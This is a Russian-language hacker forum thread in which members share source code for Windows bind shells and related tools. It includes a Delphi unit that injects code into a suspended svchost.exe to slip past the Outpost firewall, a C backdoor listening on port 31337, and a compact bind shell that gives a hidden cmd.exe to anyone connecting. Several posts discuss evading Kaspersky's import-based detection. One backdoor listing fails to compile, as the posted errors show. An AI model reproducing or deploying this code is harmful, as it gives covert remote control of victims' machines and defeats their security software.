Начнем опенсорс - биндшелл (Win32)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by sn0w, 15 May 2006.

  1. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Угу, конечно можно и так, но зачем советовать плохой код вместо хорошего?
     
  2. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Дай плз, мне тож сейчас очень надо :)
     
  3. hackconnect

    hackconnect Elder - Старейшина

    Joined:
    8 Mar 2007
    Messages:
    49
    Likes Received:
    5
    Reputations:
    0
    W!z@rD
    это он написал че за студией пользовался. А винапи он и в африке винапи - любой норм. компилер скомпилит.

    [sorry, тока 1. стр.читал]
     
    #23 hackconnect, 26 Apr 2007
    Last edited: 27 Apr 2007
  4. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    ИМХО отсутствие любого импорта выглядит ещё подозрительней, лучше уж сразу PE-компрессором неподдержываемой версии претворяться и импортировать через GetProcAddress)))
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Вот код который позволяет обходить outpost. Часть кода была взята из статьи MS-REM'a
    Я его чуть оформил в виде модуля. В принципе легко его перписать на любой язык. Пробывал на Outpost 3.5 Работает всё нормально. Даже outpost не выдает предупреждений о нарушении памяти процесса.

    Code:
    unit df;
    interface
    uses
    Windows,Sysutils;
    procedure mains(path:pointer); // безопасный запуск процедуры. path - адресс процедуры
    implementation
    var
     si:TStartupInfo;
     pi:TProcessInformation;
    
    procedure mains(path:pointer); // основная функция для прекрепления кода прочедуры к SVCHOST'у
    var
    InjectSize: dword;
    Code: pointer;
    Injected: pointer;
    BytesWritten: dword;
    Context: _CONTEXT;
    begin
    ZeroMemory(@St, SizeOf(TStartupInfo));
    St.cb := SizeOf(TStartupInfo);
    St.wShowWindow := SW_SHOW;
    //запускаем процесс, которому разрешено лезть на 80 порт
    CreateProcess(nil, pansichar(windir+'\system32\svchost.exe'), nil, nil, false,CREATE_SUSPENDED, nil, nil, St, Pr);
    Code:=pointer(GetModuleHandle(nil));
    InjectSize:=PImageOptionalHeader(pointer(integer(Code)+PImageDosHeader(Code)._lfanew+SizeOf(dword)+SizeOf(TImageFileHeader))).SizeOfImage;
     //выделяем память в процессе
    Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     //внедряем код
    WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
     //изменяем контекст нити
    Context.ContextFlags:=CONTEXT_FULL;
    GetThreadContext(Pr.hThread, Context);
    Context.Eip:=dword(path); // путь к функции
    SetThreadContext(Pr.hThread, Context);
    //запускаем процесс
    ResumeThread(Pr.hThread);
    end;
    begin
    end.
     
    #25 slesh, 29 Apr 2007
    Last edited: 29 Apr 2007
    1 person likes this.
  6. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    slesh, ну это аутпост молчит) обычно с фаером стоит и антивирь, вот, например, KAV такое дело палит на ура
     
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Кстати, было бы неплохо сделать в шелле не просто перенаправление hStdInput/hStdOUtput в сокет (часто глючит), а нормальную двухпоточную организацию пайпа.
    Типа CreatePipe, хендлы передать в hStdInput/hStdOutput, потом следить за пайпом и передавать все оттуда в сокет. другой поток следит за сокетом и передает это в пайп.

    У меня так сделано в том шелле, что я выложил в ЛоА.
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 _Great_
    на счет простого перенаправления ты прав. Сам частенько замечаю что частень не пашет. Зато размер маленьких :)
     
  9. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,309
    Reputations:
    327
    2 _Great_ c вопросом инжекта - очистка сдт и инжект...я ж в самом начале выложил пайповый сорс ))
     
    2 people like this.
  10. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,309
    Reputations:
    327
    Краш, а в курсе что например каспер определяет "root shell" по импортам приложения? ;)
     
  11. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    sn0w, не только кав, по импортам щас многие рубят.
     
  12. Gargulia

    Gargulia Banned

    Joined:
    22 Jun 2007
    Messages:
    7
    Likes Received:
    1
    Reputations:
    -8
    вот есть небольшой бинд шелл(взятый с Hell Knights Crew):
    Code:
    #include <winsock2.h>
    #include <windows.h>
    
    DWORD WINAPI InitWinSock2API(){
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,2),&wsaData);
    return 0; 
    }
    
    
    DWORD WINAPI Backdoor_Recv(LPVOID lpParam){
    
    	DWORD WINAPI ClientSend(char * data, socket sock){
    send(sock, data, lstrlen(data),0);
    closesocket(sock); 
    ZeroMemory (&data, sizeof(data)); 
    return 0; 
    }
    
    SOCKET      sock=(SOCKET)lpParam;
    char        recvbuffer[1024];
    int         ret, freq, times, rand1, rand2;
    					
    while(1){
    ZeroMemory (&recvbuffer, sizeof(recvbuffer));
    ret = recv(sock, recvbuffer, 1024, 0); 
    if (ret == SOCKET_ERROR) break; else 
    if(lstrlen(recvbuffer) > 0){
    char * array[1024]; 
    char * t = strtok(recvbuffer,"ђ");
    int i; int portint; 
    for(i = 0; t; t = strtok(NULL,"ђ"), i++){ array[i] = t; } 
    if (lstrcmp(array[0], "login:password")==0){
    if (lstrcmp(array[1], "msgbox")==0){ 
    char * msg = array[2];    // получаем 2 и 3 элемент массива 
    char * title = array[3];  // и заголовок messagebox.
    MessageBox(0,msg,title,0); // выводим messagebox.
    ClientSend("messagebox ok", sock);
    }
    
    // пример вашей команды:
    // else if(lstrcmp(array[1], "ваша_команда")==0)
    // { 
    //   ...
    // }
    else{
    // отсылаем клиенту сообщение "unknown command"
    ClientSend("unknown command", sock);
    }
    } else  {
    ClientSend("authorization failed", sock);
    }
    }
    }
    return 0; 
    }
    
    
    
    DWORD WINAPI Backdoor_Listen(short port){
    SOCKET			server, client;         // сокеты для клиента и сервера
    SOCKADDR_IN		localaddr, clientaddr;  // структуры для клиента и сервера
    HANDLE			hThread;                // хэндл потока 
    
    int clientSize=sizeof(clientaddr); 
    						  
    server=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    						  
    localaddr.sin_addr.s_addr=htonl(INADDR_ANY);// любом сетевом интерфейсе;
    localaddr.sin_family=AF_INET;               // работаем с интернетом;
    localaddr.sin_port=htons(port);             // присвайваем порт;
    
    bind(server, (struct sockaddr *)&localaddr, sizeof(localaddr));
    
    listen(server, SOMAXCONN); 
    
    while(1){
    client=accept(server,(struct sockaddr *)&clientaddr,&clientSize);
    
    hThread = StartThread(Backdoor_Recv,(LPVOID)client); 
    CloseHandle(hThread);
    } 
    
    closesocket(server); // закрываем сокет
    
    return 0;
    }
    
    HANDLE WINAPI StartThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID param){
    DWORD lpThreadId; 
    return CreateThread(NULL, NULL, lpStartAddress, param, NULL, &lpThreadId);
    }
    
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    									 LPSTR lpCmdLine, int nCmdShow){			
    InitWinSock2API();      // инициализируем WinSock2 API
    Backdoor_Listen(31337); // Ставим порт на прослушку и подключаем клиентов:
    // WSACleanup(); // по завершению работы заканчиваем работу с Winsock2
    }
    
    почему сия прелесть не компилится Microsoft VC++ Studio 2003 ?
    пишет вот это:
    main.cpp(13): error C2061: syntax error : identifier 'socket'
    main.cpp(13): error C2601: 'ClientSend' : local function definitions are illegal
    main.cpp(38): error C2660: 'ClientSend' : function does not take 2 arguments
    main.cpp(48): error C2660: 'ClientSend' : function does not take 2 arguments
    main.cpp(51): error C2660: 'ClientSend' : function does not take 2 arguments
    main.cpp(80): error C3861: 'StartThread': identifier not found, even with argument-dependent lookup
    main.cpp(89): error C2365: 'StartThread' : redefinition; previous definition was a 'formerly unknown identifier'
     
  13. f04c3

    f04c3 New Member

    Joined:
    15 Jul 2007
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Там где ты проверяешь трубу тоесть KePeekNamedPipe там нада сделать в цыкле потому что мах обем с трубы 0xFFF (4095) а если больше то не весь буфер передаст ну короче (зайди этим шелом в system32 например )
     
  14. Gargulia

    Gargulia Banned

    Joined:
    22 Jun 2007
    Messages:
    7
    Likes Received:
    1
    Reputations:
    -8
    а можно чуть чуть подробнее ато не совсем догоняю... и это у тебя компилицца? ато у меня совсем что то не то.........
     
  15. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,309
    Reputations:
    327

    вот скомпиль и зайди а потом комменть
     
  16. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Mini-bindshell-2 (с реконнектом)
    Теже 2кб на выходе.
    Code:
    #include "winsock2.h"
    #pragma comment(linker,"/SECTION:.text,EWR") 
    #pragma comment(linker,"/ENTRY:WinMain")
    #pragma comment( linker, "/defaultlib:ws2_32.lib" )
    DWORD WINAPI ClientURA(HANDLE HCmd);
    DWORD WINAPI ClientURA(
      HANDLE HCmd
    )
    {
         STARTUPINFO st; 
         PROCESS_INFORMATION pt;
    
         
              st.cb = sizeof(STARTUPINFO);
              st.lpReserved = NULL;
              st.lpTitle = NULL;
              st.lpDesktop = NULL;
              st.lpReserved2 = NULL;
              st.cbReserved2 = 0;
              st.wShowWindow = SW_HIDE;
              st.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
              st.hStdInput = HCmd;
              st.hStdOutput = HCmd;
              st.hStdError = HCmd;
              CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&st,&pt);
              CloseHandle(HCmd);
              CloseHandle(pt.hProcess);
              CloseHandle(pt.hThread);
         return 0;
    }
    int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
         int sock;
         SOCKET AcceptS;
         struct sockaddr_in s;
         WSADATA wsa;
         WSAStartup( MAKEWORD( 2, 2 ), &wsa );
         sock = WSASocketA(PF_INET,SOCK_STREAM,0,NULL,0,0);
         s.sin_family = AF_INET;
         s.sin_addr.s_addr = htonl( INADDR_ANY);
         s.sin_port = htons( 31337 );
         bind(sock,(SOCKADDR*)&s,sizeof(s));
    	int i;
    	char type[2], buf[126];
         listen( sock, 0 );
         while (1){
    		  AcceptS = accept(sock,NULL,NULL);
     CreateThread( NULL, 0,
                   (LPTHREAD_START_ROUTINE)ClientURA,
                   (LPVOID)AcceptS,
                   NULL, NULL );
    		 
    		  
    	 }
         return 0;
    		}
    
    
     
  17. 4nob1oz

    4nob1oz Elder - Старейшина

    Joined:
    9 Jul 2007
    Messages:
    30
    Likes Received:
    22
    Reputations:
    0
    Меня знакомый недавно просил как смотреть открытые порты, как я ему не объяснял он так и не смог посмотреть их :) Накодил прогу ему быстренько. Показывает открытые TCP и UDP порты на машине с процессом который сообтвествует открытому порту.

    Не пинайте за то что так всё криво и лишние хедеры висят, мне лень править. Да и процессы тоже криво определяет по pid ну короче может кому то и сгодится.

    Code:
    #include <Winsock2.h>
    #include <windows.h>
    #include <stdio.h>
    #include <Iphlpapi.h>
    #include <conio.h>
    #include <Tlhelp32.h>
    #include <psapi.h>
    
    #pragma comment ( lib, "Iphlpapi.lib" )
    #pragma comment ( lib, "Ws2_32.lib" )
    #pragma comment ( lib, "psapi.lib" )
    
    typedef struct _MIB_TCPROW_EX
    {
    DWORD dwState; // MIB_TCP_STATE_*
    DWORD dwLocalAddr;
    DWORD dwLocalPort;
    DWORD dwRemoteAddr;
    DWORD dwRemotePort;
    DWORD dwProcessId;
    } MIB_TCPROW_EX, *PMIB_TCPROW_EX;
    
    typedef struct _MIB_TCPTABLE_EX
    {
    DWORD dwNumEntries;
    MIB_TCPROW_EX table[ANY_SIZE];
    } MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;
    
    typedef struct _MIB_UDPROW_EX
    {
    DWORD dwLocalAddr;
    DWORD dwLocalPort;
    DWORD dwProcessId;
    } MIB_UDPROW_EX, *PMIB_UDPROW_EX;
    
    typedef struct _MIB_UDPTABLE_EX
    {
    DWORD dwNumEntries;
    MIB_UDPROW_EX table[ANY_SIZE];
    } MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;
    
    typedef DWORD (WINAPI *PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)(PMIB_TCPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
    PROCALLOCATEANDGETTCPEXTABLEFROMSTACK lpfnAllocateAndGetTcpExTableFromStack = NULL;
    
    typedef DWORD (WINAPI *PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)(PMIB_UDPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
    PROCALLOCATEANDGETUDPEXTABLEFROMSTACK lpfnAllocateAndGetUdpExTableFromStack = NULL;
    
    TCHAR *PrintProcessNameAndID( DWORD processID )
    {
       	TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
        // Get a handle to the process.
        HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
        // Get the process name.
        if (NULL != hProcess )
        {
            HMODULE hMod;
            DWORD cbNeeded;
    
            if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
            {
                GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
            }
        }
    
        CloseHandle( hProcess );
    		
    	return (TCHAR *)&szProcessName;
    }
    
    int main()
    {
    	PMIB_TCPTABLE_EX pTcpTableEx;
    	PMIB_UDPTABLE_EX pUdpTableEx;
    	DWORD dwSize = 0,dwSizeUDP = 0;
    	DWORD i = 0,j = 0;
    	DWORD dwTcpErr,dwUdpErr;
    	DWORD pid;
    	char *ip_ptr,*ip_udp_ptr;
    	unsigned short *port_ptr,*port_udp_ptr;
    	HMODULE hMudule;
    	
    	hMudule = LoadLibrary("Iphlpapi.dll");
    
    	if(hMudule == NULL) return 0;
    
    	lpfnAllocateAndGetTcpExTableFromStack = (PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetTcpExTableFromStack");
    	lpfnAllocateAndGetUdpExTableFromStack = (PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetUdpExTableFromStack");
    
    	if (lpfnAllocateAndGetTcpExTableFromStack == NULL) return 0;
    	if (lpfnAllocateAndGetUdpExTableFromStack == NULL) return 0;
    
    	pTcpTableEx = (MIB_TCPTABLE_EX *) malloc(sizeof(MIB_TCPTABLE_EX));
    	if(pTcpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pTcpTableEx); }
    
    	pUdpTableEx = (MIB_UDPTABLE_EX *) malloc(sizeof(MIB_UDPTABLE_EX));
    	if(pUdpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pUdpTableEx); }
    
    	dwTcpErr = lpfnAllocateAndGetTcpExTableFromStack(&pTcpTableEx,TRUE,GetProcessHeap(),0,2);
    	dwUdpErr = lpfnAllocateAndGetUdpExTableFromStack(&pUdpTableEx,TRUE,GetProcessHeap(),0,2);
    	
    	if(dwTcpErr == ERROR_SUCCESS)
    	{
    		printf("\n\nOpened TCP Ports\n");
    		printf("----------------\n\n");
    		for(i=0; i<pTcpTableEx->dwNumEntries;i++)
    		{
    			ip_ptr = (char *)&pTcpTableEx->table[i].dwLocalAddr;
    			port_ptr = (unsigned short *)&pTcpTableEx->table[i].dwLocalPort;
    			pid = pTcpTableEx->table[i].dwProcessId;
    			if(pid == 4)
    			{
    			printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr));
    			}
    			else
    			{
    				printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr),PrintProcessNameAndID(pid));
    			}
    		}
    	}
    
    	if(dwUdpErr == ERROR_SUCCESS)
    	{
    		printf("\n\nOpened UDP Ports\n");
    		printf("----------------\n\n");
    		for(i=0; i<pUdpTableEx->dwNumEntries;i++)
    		{
    			ip_udp_ptr = (char *)&pUdpTableEx->table[i].dwLocalAddr;
    			port_udp_ptr = (unsigned short *)&pUdpTableEx->table[i].dwLocalPort;
    			pid = pUdpTableEx->table[i].dwProcessId;
    			if(pid == 4)
    			{
    			printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr));
    			}
    			else
    			{
    				printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr),PrintProcessNameAndID(pid));
    			}
    		}
    	}
    
    	printf("\n\nPress any key to exit...");
    	_getch();
    
    	return 0;
    }
     
    1 person likes this.
  18. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    4nob1oz < а причем тут шелЪ?
     
  19. 4nob1oz

    4nob1oz Elder - Старейшина

    Joined:
    9 Jul 2007
    Messages:
    30
    Likes Received:
    22
    Reputations:
    0
    Блин а я думал просто опенсорс. Выкладываем проекты. Ну ладно потрут и перенесут я думаю :)

    Прогнал немного :)